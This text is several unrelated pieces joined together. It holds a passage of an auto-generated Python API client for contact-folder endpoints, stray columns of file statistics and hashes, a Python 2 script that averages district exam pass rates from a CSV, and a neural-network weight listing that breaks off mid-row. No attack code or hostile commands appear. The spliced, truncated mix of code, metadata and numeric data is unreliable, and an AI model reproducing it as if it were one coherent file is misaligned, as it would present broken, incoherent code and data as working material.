>>> thread = api.get_folder_lists_with_http_info(folder_id, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param int folder_id: Id of the folder (required)
:param int limit: Number of documents per page
:param int offset: Index of the first document of the page
:return: GetFolderLists
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['folder_id', 'limit', 'offset'] # noqa: E501
all_params.append('asynchronous')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_folder_lists" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'folder_id' is set
if ('folder_id' not in params or
params['folder_id'] is None):
raise ValueError("Missing the required parameter `folder_id` when calling `get_folder_lists`") # noqa: E501
if 'limit' in params and params['limit'] > 50: # noqa: E501
raise ValueError("Invalid value for parameter `limit` when calling `get_folder_lists`, must be a value less than or equal to `50`") # noqa: E501
collection_formats = {}
path_params = {}
if 'folder_id' in params:
path_params['folderId'] = params['folder_id'] # noqa: E501
query_params = []
if 'limit' in params:
query_params.append(('limit', params['limit'])) # noqa: E501
if 'offset' in params:
query_params.append(('offset', params['offset'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['api-key', 'partner-key'] # noqa: E501
return self.api_client.call_api(
'/contacts/folders/{folderId}/lists', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='GetFolderLists', # noqa: E501
auth_settings=auth_settings,
asynchronous=params.get('asynchronous'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_folders(self, limit, offset, **kwargs): # noqa: E501
"""Get all the folders # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.get_folders(limit, offset, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param int limit: Number of documents per page (required)
:param int offset: Index of the first document of the page (required)
:return: GetFolders
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('asynchronous'):
return self.get_folders_with_http_info(limit, offset, **kwargs) # noqa: E501
else:
(data) = self.get_folders_with_http_info(limit, offset, **kwargs) # noqa: E501
return data
def get_folders_with_http_info(self, limit, offset, **kwargs): # noqa: E501
"""Get all the folders # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.get_folders_with_http_info(limit, offset, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param int limit: Number of documents per page (required)
:param int offset: Index of the first document of the page (required)
:return: GetFolders
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['limit', 'offset'] # noqa: E501
all_params.append('asynchronous')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_folders" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'limit' is set
if ('limit' not in params or
params['limit'] is None):
raise ValueError("Missing the required parameter `limit` when calling `get_folders`") # noqa: E501
# verify the required parameter 'offset' is set
if ('offset' not in params or
params['offset'] is None):
raise ValueError("Missing the required parameter `offset` when calling `get_folders`") # noqa: E501
if 'limit' in params and params['limit'] > 50: # noqa: E501
raise ValueError("Invalid value for parameter `limit` when calling `get_folders`, must be a value less than or equal to `50`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
if 'limit' in params:
query_params.append(('limit', params['limit'])) # noqa: E501
if 'offset' in params:
query_params.append(('offset', params['offset'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['api-key', 'partner-key'] # noqa: E501
return self.api_client.call_api(
'/contacts/folders', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='GetFolders', # noqa: E501
auth_settings=auth_settings,
asynchronous=params.get('asynchronous'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_folder(self, folder_id, update_folder, **kwargs): # noqa: E501
"""Update a contact folder # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.update_folder(folder_id, update_folder, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param int folder_id: Id of the folder (required)
:param CreateUpdateFolder update_folder: Name of the folder (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('asynchronous'):
return self.update_folder_with_http_info(folder_id, update_folder, **kwargs) # noqa: E501
else:
(data) = self.update_folder_with_http_info(folder_id, update_folder, **kwargs) # noqa: E501
return data
def update_folder_with_http_info(self, folder_id, update_folder, **kwargs): # noqa: E501
"""Update a contact folder # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.update_folder_with_http_info(folder_id, update_folder, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param int folder_id: Id of the folder (required)
:param CreateUpdateFolder update_folder: Name of the folder (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['folder_id', 'update_folder'] # noqa: E501
all_params.append('asynchronous')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_folder" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'folder_id' is set
if ('folder_id' not in params or
params['folder_id'] is None):
raise ValueError("Missing the required parameter `folder_id` when calling `update_folder`") # noqa: E501
# verify the required parameter 'update_folder' is set
if ('update_folder' not in params or
params['update_folder'] is None):
raise ValueError("Missing the required parameter `update_folder` when calling `update_folder`") # noqa: E501
collection_formats = {}
path_params = {}
if 'folder_id' in params:
path_params['folderId'] = params['folder_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'update_folder' in params:
body_params = params['update_folder']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['api-key', 'partner-key'] # noqa: E501
return self.api_client.call_api(
'/contacts/folders/{folderId}', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
asynchronous=params.get('asynchronous'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 40.776744
| 820
| 0.611079
| 3,001
| 26,301
| 5.137954
| 0.077308
| 0.048252
| 0.021791
| 0.028017
| 0.921071
| 0.910889
| 0.893638
| 0.880926
| 0.87243
| 0.863869
| 0
| 0.017657
| 0.295844
| 26,301
| 644
| 821
| 40.840062
| 0.814903
| 0.332763
| 0
| 0.769231
| 0
| 0.005698
| 0.203939
| 0.031536
| 0
| 0
| 0
| 0
| 0
| 1
| 0.037037
| false
| 0
| 0.011396
| 0
| 0.102564
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c7e1cede80cda850348508e2fd5dd26df21767d3
| 4,286
|
py
|
Python
|
timeseries-master/helpers/aggregator.py
|
sreeni619/solveathon
|
bd3c95b9c086711308a344bba4c4329e8e8034fb
|
[
"MIT"
] | null | null | null |
timeseries-master/helpers/aggregator.py
|
sreeni619/solveathon
|
bd3c95b9c086711308a344bba4c4329e8e8034fb
|
[
"MIT"
] | null | null | null |
timeseries-master/helpers/aggregator.py
|
sreeni619/solveathon
|
bd3c95b9c086711308a344bba4c4329e8e8034fb
|
[
"MIT"
] | null | null | null |
import sys
import csv
aggregate = open(sys.argv[1].split('.')[0] + "_aggregate.csv", 'a')
csv_file = open(sys.argv[1], 'r')
fieldnames = csv_file.next().strip('\n').split(',')
reader = csv.DictReader(csv_file, fieldnames=fieldnames)
writer = csv.DictWriter(aggregate, fieldnames=fieldnames)
writer.writeheader()
agg_row = {}
for row in reader:
print row
if row['dist_code'] == 'DD':
csv_file_again = open(sys.argv[1], 'r')
reader2 = csv.DictReader(csv_file_again, fieldnames=fieldnames)
writer.writerow(row)
for row2 in reader2:
if row2['dist_code'] == 'DA':
agg_row['dist_code'] = "TU"
agg_row['acad_year'] = row['acad_year']
agg_row['govt_pass'] = (int(row['govt_pass']) + int(row2['govt_pass'])) / 2
agg_row['nongovt_pass'] = (int(row['nongovt_pass']) + int(row2['nongovt_pass'])) / 2
writer.writerow(agg_row)
elif row['dist_code'] == "CC":
csv_file_again = open(sys.argv[1], 'r')
reader2 = csv.DictReader(csv_file_again, fieldnames=fieldnames)
writer.writerow(row)
for row2 in reader2:
if row2['dist_code'] == 'CA':
agg_row['dist_code'] = "KO"
agg_row['acad_year'] = row['acad_year']
agg_row['govt_pass'] = (int(row['govt_pass']) + int(row2['govt_pass'])) / 2
agg_row['nongovt_pass'] = (int(row['nongovt_pass']) + int(row2['nongovt_pass'])) / 2
writer.writerow(agg_row)
elif row['dist_code'] == "NN":
csv_file_again = open(sys.argv[1], 'r')
reader2 = csv.DictReader(csv_file_again, fieldnames=fieldnames)
writer.writerow(row)
for row2 in reader2:
if row2['dist_code'] == 'NA':
agg_row['dist_code'] = "BE"
agg_row['acad_year'] = row['acad_year']
agg_row['govt_pass'] = (int(row['govt_pass']) + int(row2['govt_pass'])) / 2
agg_row['nongovt_pass'] = (int(row['nongovt_pass']) + int(row2['nongovt_pass'])) / 2
writer.writerow(agg_row)
elif row['dist_code'] == "BB":
csv_file_again = open(sys.argv[1], 'r')
reader2 = csv.DictReader(csv_file_again, fieldnames=fieldnames)
for row2 in reader2:
if row2['dist_code'] == 'BA':
if row2['govt_pass']:
agg_row['dist_code'] = "BR"
agg_row['acad_year'] = row['acad_year']
agg_row['govt_pass'] = (int(row['govt_pass']) + int(row2['govt_pass'])) / 2
agg_row['nongovt_pass'] = (int(row['nongovt_pass']) + int(row2['nongovt_pass'])) / 2
writer.writerow(agg_row)
writer.writerow(row)
else:
row['dist_code'] = 'BR'
writer.writerow(row)
elif row['dist_code'] == "AN":
csv_file_again = open(sys.argv[1], 'r')
reader2 = csv.DictReader(csv_file_again, fieldnames=fieldnames)
writer.writerow(row)
for row2 in reader2:
if row2['dist_code'] == 'AS':
agg_row['dist_code'] = "BG"
agg_row['acad_year'] = row['acad_year']
agg_row['govt_pass'] = (int(row['govt_pass']) + int(row2['govt_pass'])) / 2
agg_row['nongovt_pass'] = (int(row['nongovt_pass']) + int(row2['nongovt_pass'])) / 2
writer.writerow(agg_row)
elif row['dist_code'] == 'PP':
csv_file_again = open(sys.argv[1], 'r')
reader2 = csv.DictReader(csv_file_again, fieldnames=fieldnames)
for row2 in reader2:
if row2['dist_code'] == 'PA':
if row2['govt_pass']:
agg_row['dist_code'] = "UK"
agg_row['acad_year'] = row['acad_year']
agg_row['govt_pass'] = (int(row['govt_pass']) + int(row2['govt_pass'])) / 2
agg_row['nongovt_pass'] = (int(row['nongovt_pass']) + int(row2['nongovt_pass'])) / 2
writer.writerow(agg_row)
writer.writerow(row)
else:
row['dist_code'] = 'UK'
writer.writerow(row)
else:
writer.writerow(row)
| 47.098901
| 104
| 0.536398
| 529
| 4,286
| 4.102079
| 0.113422
| 0.085714
| 0.070968
| 0.077419
| 0.817051
| 0.802765
| 0.802765
| 0.802765
| 0.776959
| 0.776959
| 0
| 0.019746
| 0.302846
| 4,286
| 90
| 105
| 47.622222
| 0.706493
| 0
| 0
| 0.643678
| 0
| 0
| 0.174988
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.16092
| 0.022989
| null | null | 0.011494
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
4049f159b45f0dbad49f9524b1c22719fc6d3828
| 384,762
|
pyt
|
Python
|
eran/NNet/nnet/ACASXU_run2a_5_3_batch_2000_16bit.pyt
|
pauls658/ReluDiff-ICSE2020-Artifact
|
212854fe04f482183c239e5dfec70106a9a83df8
|
[
"Apache-2.0"
] | 7
|
2020-01-27T21:25:49.000Z
|
2022-01-07T04:37:37.000Z
|
eran/NNet/nnet/ACASXU_run2a_5_3_batch_2000_16bit.pyt
|
yqtianust/ReluDiff-ICSE2020-Artifact
|
149f6efe4799602db749faa576980c36921a07c7
|
[
"Apache-2.0"
] | 1
|
2022-01-25T17:41:54.000Z
|
2022-01-26T02:27:51.000Z
|
eran/NNet/nnet/ACASXU_run2a_5_3_batch_2000_16bit.pyt
|
yqtianust/ReluDiff-ICSE2020-Artifact
|
149f6efe4799602db749faa576980c36921a07c7
|
[
"Apache-2.0"
] | 3
|
2020-03-14T17:12:17.000Z
|
2022-03-16T09:50:46.000Z
|
ReLU
[[-2.20036, 0.0285827, 0.0131861, 0.00393393, -0.00719849], [1.89101, -0.00497089, -0.00772589, -0.186137, 0.278279], [0.01417, 0.786313, -0.867619, -0.426024, -0.67438], [0.00524166, 0.179234, -0.207523, 0.775519, -0.689328], [-0.057861, -0.345981, -0.555823, -0.275287, 0.0898622], [-0.223965, -0.574567, 0.260203, -0.489518, -0.157447], [-0.195315, -0.823906, 0.735056, 0.310654, -0.611684], [-0.663708, 0.577834, 0.004723, 0.149175, -0.713423], [0.0401281, 1.36497, -1.30233, -0.50854, 0.179367], [-0.0106299, 0.314701, -0.252676, -0.772461, -1.61915], [-0.00402068, -0.663018, 1.58579, -0.0885777, -0.88625], [-0.00375023, 0.0842048, -0.0348007, -2.06808, -0.0532215], [0.0941268, -0.795734, -0.912589, -0.0445961, 0.0354546], [-0.0524962, 0.990982, -0.977561, 0.0587597, -0.717258], [-0.00306503, -2.01064, 1.98357, -0.379653, 0.714812], [-0.0672034, 0.23997, 1.10292, 0.0883114, -0.0755869], [-0.00971528, -0.183741, 0.23231, 0.363926, -1.91241], [0.000583633, -0.609838, 0.586379, -0.487449, -1.27488], [0.0925292, -0.00633192, -0.0196229, -0.561215, -1.5189], [0.0159667, 2.00016, -0.0476567, 0.265185, -0.0596458], [0.00880087, -0.0686968, 0.191644, -0.909771, 1.3451], [-0.0103294, -0.187194, 0.253918, -0.312473, -1.93192], [0.0821937, 0.0385036, 0.00290142, -0.759221, -1.65761], [0.00555284, 0.262326, -0.318139, 0.654828, 0.910724], [-0.00726789, -0.151025, 0.244079, -1.01841, 0.316687], [0.000512717, 0.227587, -0.249709, -1.16635, -1.46113], [-0.453596, 0.286087, -0.0294142, -0.228141, -0.198895], [0.0216501, -0.0426269, -1.49035, 0.0859507, -0.0884852], [0.0448357, 0.811082, 0.709398, -0.485903, 0.264042], [-0.00976293, -0.0431568, 0.0544572, 0.978068, -0.754247], [-1.67285, 0.0183141, 0.00514006, 0.0208619, -0.386226], [0.0570563, -1.20645, 1.30163, -0.382224, 0.462006], [0.00396829, 0.00574358, 0.00337722, -0.0153759, -0.00328736], [-2.51603, -0.00706166, -0.0108096, 0.00495715, 0.0276627], [0.165912, 2.26076, -2.11339, 0.0852677, 0.176747], [-1.06449, 0.0291689, -0.0682965, 0.0304398, -0.323697], [0.0030827, -1.58913, -0.608607, 0.635159, -0.940675], [-0.0295315, 0.219001, -0.173414, -0.957029, -1.0859], [0.0395041, 0.734134, -0.790975, 0.436721, -1.51469], [0.0092772, -0.0124455, 1.33709, -0.0490392, 0.045689], [0.00253413, 0.118258, -0.330591, -0.402638, 0.892024], [0.0407811, 2.50066, -0.00479433, 0.0100883, 0.00289856], [0.506659, -0.0895198, -0.129611, 0.665814, -1.15819], [0.0301934, -0.34151, 0.561125, 0.217811, 1.52387], [0.0797052, -2.18814, 0.0521906, -0.171139, 0.101809], [-0.22945, 0.581225, -1.27226, -0.244771, 0.543296], [-0.903385, -0.00406356, 0.0133333, -0.00177252, -0.031578], [0.140322, -2.40528, 0.919886, 0.104382, -0.349824], [-0.378505, -0.59099, 1.47981, -0.0194271, 0.207941], [0.0875614, 0.695071, 0.627247, -0.410366, 0.103386], [-2.201, 0.02858, 0.01318, 0.003933, -0.0072], [1.891, -0.00497, -0.007725, -0.1862, 0.2783], [0.01417, 0.786, -0.8677, -0.426, -0.6743], [0.00524, 0.1792, -0.2075, 0.7754, -0.6895], [-0.05786, -0.346, -0.5557, -0.2754, 0.08984], [-0.224, -0.5747, 0.2603, -0.4895, -0.1575], [-0.1953, -0.8237, 0.735, 0.3105, -0.612], [-0.6636, 0.5776, 0.004723, 0.1492, -0.7134], [0.04013, 1.365, -1.303, -0.5083, 0.1793], [-0.01063, 0.3147, -0.2527, -0.7725, -1.619], [-0.00402, -0.663, 1.586, -0.08856, -0.886], [-0.00375, 0.0842, -0.0348, -2.068, -0.05322], [0.0941, -0.796, -0.9126, -0.0446, 0.03546], [-0.0525, 0.991, -0.9775, 0.05875, -0.7173], [-0.003065, -2.01, 1.983, -0.3796, 0.715], [-0.0672, 0.24, 1.103, 0.0883, -0.07556], [-0.00971, -0.1837, 0.2323, 0.364, -1.912], [0.0005836, -0.61, 0.5864, -0.4875, -1.274], [0.0925, -0.006332, -0.01962, -0.561, -1.519], [0.01596, 2.0, -0.04767, 0.2651, -0.05963], [0.008804, -0.0687, 0.1917, -0.9097, 1.345], [-0.01033, -0.1871, 0.254, -0.3125, -1.932], [0.0822, 0.0385, 0.002901, -0.7593, -1.657], [0.005554, 0.2622, -0.318, 0.655, 0.9106], [-0.007267, -0.151, 0.244, -1.019, 0.3167], [0.0005126, 0.2275, -0.2498, -1.166, -1.461], [-0.4536, 0.2861, -0.02942, -0.2281, -0.1989], [0.02165, -0.04263, -1.49, 0.08594, -0.0885], [0.04483, 0.811, 0.7095, -0.4858, 0.2642], [-0.009766, -0.04315, 0.05444, 0.978, -0.7544], [-1.673, 0.01831, 0.00514, 0.02086, -0.3862], [0.05707, -1.206, 1.302, -0.3823, 0.462], [0.003967, 0.005745, 0.003378, -0.01537, -0.003288], [-2.516, -0.00706, -0.01081, 0.004955, 0.02766], [0.1659, 2.262, -2.113, 0.08527, 0.1768], [-1.064, 0.02917, -0.0683, 0.03044, -0.3237], [0.003082, -1.589, -0.6084, 0.6353, -0.941], [-0.02953, 0.219, -0.1735, -0.957, -1.086], [0.0395, 0.7344, -0.791, 0.4368, -1.515], [0.00928, -0.01244, 1.337, -0.04904, 0.0457], [0.002535, 0.1183, -0.3306, -0.4026, 0.892], [0.04077, 2.5, -0.004795, 0.010086, 0.0029], [0.507, -0.08954, -0.1296, 0.666, -1.158], [0.0302, -0.3416, 0.561, 0.2178, 1.523], [0.0797, -2.188, 0.0522, -0.1711, 0.1018], [-0.2295, 0.581, -1.272, -0.2448, 0.5435], [-0.9033, -0.004063, 0.013336, -0.001773, -0.0316], [0.1404, -2.406, 0.92, 0.1044, -0.3499], [-0.3784, -0.591, 1.4795, -0.01942, 0.2079], [0.0876, 0.6953, 0.6274, -0.4104, 0.1034]]
[-0.371545, 0.658122, -0.22315, 0.520223, 0.0173736, -0.0344656, 0.157815, -0.29905, -0.672749, -0.649482, -0.507983, -0.693018, 0.0600704, -0.124402, -0.387758, -0.00704968, 0.384906, -0.0604467, -0.838114, 0.183143, 0.0108234, -0.489863, -0.88091, 0.421011, 0.000578735, -0.352814, -0.0544412, 0.0168376, -0.0193404, 0.289655, -0.48292, -0.577307, -0.0178104, -0.66247, -0.0340056, -0.222246, -0.126429, -0.420171, 0.235551, 0.0307842, 0.213629, -0.0248258, 0.0904375, 0.251245, 0.305526, -0.124071, -0.0225281, -0.229608, 0.123876, 0.145049, -0.3716, 0.658, -0.2231, 0.52, 0.01738, -0.03445, 0.1578, -0.299, -0.673, -0.6494, -0.508, -0.693, 0.06006, -0.1244, -0.3877, -0.00705, 0.385, -0.06046, -0.838, 0.1831, 0.010826, -0.4897, -0.881, 0.421, 0.000579, -0.3528, -0.05444, 0.01683, -0.01933, 0.2896, -0.483, -0.577, -0.0178, -0.6626, -0.034, -0.2223, -0.1265, -0.4202, 0.2356, 0.03078, 0.2136, -0.02483, 0.09045, 0.2512, 0.3054, -0.1241, -0.02252, -0.2296, 0.1239, 0.145]
ReLU
[[-0.379009, 0.212772, 0.185344, -0.176431, -0.404959, -0.134693, 0.789355, 0.13762, 1.18264, 0.320732, 0.676605, -0.124261, 1.26339, 0.0692556, -0.450491, -0.332291, -0.0731151, 0.0280384, -0.255838, 0.394048, -1.68565, 0.489249, 0.0670089, -1.62539, 0.338113, -0.00882863, 0.289974, 0.328891, 0.490316, -1.24494, -0.780029, -3.0555, -0.0339172, -0.139148, -0.46071, -0.225076, 0.798343, 0.216443, -0.231367, -0.420034, -0.0700664, -0.0348155, -0.237743, -1.38244, -1.18925, -0.595613, 0.367458, -0.378277, -0.537293, 0.590109, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.778982, 0.0428526, -0.27663, -0.421835, -1.69764, -0.526834, -0.753017, -0.764709, 0.293528, 0.230142, 0.593726, -0.50568, -0.233309, -0.164789, -0.500746, 0.131171, 0.654499, 0.121298, -2.22884, 0.150112, 0.454278, -0.209972, 0.281338, 0.657824, -0.463276, -0.0747769, -0.221455, -0.626748, -0.057281, -0.949648, -1.39173, 0.114058, -0.015411, 0.380505, -0.0119942, -0.431494, 0.197801, 0.329802, 0.296473, 0.0471593, -0.465744, 0.160152, -0.642367, -0.273884, 0.331926, -0.671371, 1.49905, -0.343374, 0.98172, -0.833913, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1.07664, -0.739266, -0.228049, -0.0532158, 0.226274, 0.0991158, -0.446804, 0.468135, 0.649061, 0.882922, 0.399194, -0.749156, 0.751149, -0.0510253, 0.150312, -0.409983, 0.694262, -0.0366062, 0.981433, -0.521283, -2.07418, 0.848078, 1.45733, 0.715863, -1.04758, -0.569407, 0.187181, -0.555875, -0.252917, 0.141188, 2.32641, 0.566346, 0.0260232, -0.416734, -0.180291, 0.575357, -0.0851199, 0.0241878, -0.216597, -0.232596, 0.510811, 0.714711, -0.355229, 0.169388, -0.211067, 0.0358289, -0.0799694, -0.114706, 0.318743, -0.627597, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0310536, -0.172824, 0.0358917, -0.126032, 0.0770651, 0.0365815, 0.0183728, 0.0729092, 0.0943078, -0.0144758, 0.0441113, 0.0478905, 0.011869, 0.0372591, 0.00784201, 0.0173144, 0.0526533, 0.0404219, 0.0263008, 0.0775666, -0.144385, 0.0150657, 0.0707129, -0.125284, 0.0634901, 0.0326416, 0.0313841, -0.116301, 0.00323777, -0.285208, 0.039434, 0.0500203, 0.0203535, 0.03496, 0.0682194, 0.0358551, 0.0684208, 0.0660173, -0.298729, -0.0657381, -0.131072, -0.210656, -0.315966, -0.0872181, -0.0577793, -0.0897325, -0.022505, -0.205141, 0.0113882, -0.113904, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.265853, -2.50263, 0.832316, -0.418343, 0.208196, 0.55754, 0.693891, -0.722327, -1.11145, 0.0842364, 0.137636, -0.217043, -0.624545, 0.0320508, -1.40461, 0.550614, -0.0515373, 0.225079, 0.914575, -0.513507, 0.351125, 0.123515, -0.0874736, -1.35117, -0.0104313, 0.0204514, 0.0558235, -0.118559, 1.09859, -0.0960966, -0.0853228, 0.886855, 0.0106972, -1.09427, 0.414127, -0.131051, -0.0864289, 0.234705, -0.0258658, -0.100195, 0.673426, -6.00573, 0.465466, 0.565305, 0.861978, 0.207249, -0.199612, -0.0927079, -0.524694, -0.109876, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.00692365, 0.461153, 0.600717, -0.48089, -0.0666821, -0.151029, 0.461009, -0.284319, 1.24839, 1.09089, 0.00791653, -0.250755, -0.315146, 0.10713, -0.209233, -1.52252, 0.32804, 0.358802, 1.30816, 0.346461, -0.388989, -0.357268, -0.0229476, -0.114852, -1.08146, 0.597712, -0.587577, -0.719611, -0.358525, 0.217106, -1.01039, -0.628588, -0.017079, 0.255853, 1.06837, -0.628172, 0.121349, -0.906754, 0.350723, -0.565529, 0.975893, 0.341724, 0.0468085, -0.352711, 0.574222, -0.461021, -0.624587, 0.41091, 1.29435, 0.0280885, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.111379, -0.435035, 0.147549, 0.599018, 0.820655, -0.311759, 0.285241, 0.247165, 0.088631, -0.361044, 0.192937, -0.0568654, -0.894378, -0.227306, -0.0647043, -0.368445, -0.646718, 0.459654, -1.92936, 0.134851, 0.409081, -0.452353, 0.269694, 0.30482, 0.0220606, 0.52725, 0.532955, -1.54066, -0.500278, -0.560125, 0.602678, 0.566665, 0.0104521, 0.229538, 0.212119, 0.46127, 0.702586, -0.0314133, -0.129288, 1.29853, -0.0052973, -0.812336, -1.34817, -0.399288, -0.102543, -0.733825, 0.202103, 0.24139, 0.0687256, -0.293259, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.464653, -0.418424, 0.87649, -0.063451, 0.41623, 0.444036, -0.192256, 0.084129, 0.0260303, -0.219179, -0.148199, 0.0533431, -0.559044, -0.282677, 0.272457, -0.535289, 0.101348, -0.503655, -2.17902, 0.0332537, -0.96778, -0.568728, 2.06709, 0.138227, -0.0523182, 0.00351497, -0.0904295, 0.144622, 0.187165, -0.535588, 1.21333, -0.743916, -0.0320067, -0.148101, 0.0175824, 0.00532293, 0.0505781, 0.763234, -0.205172, 0.528842, 0.642737, 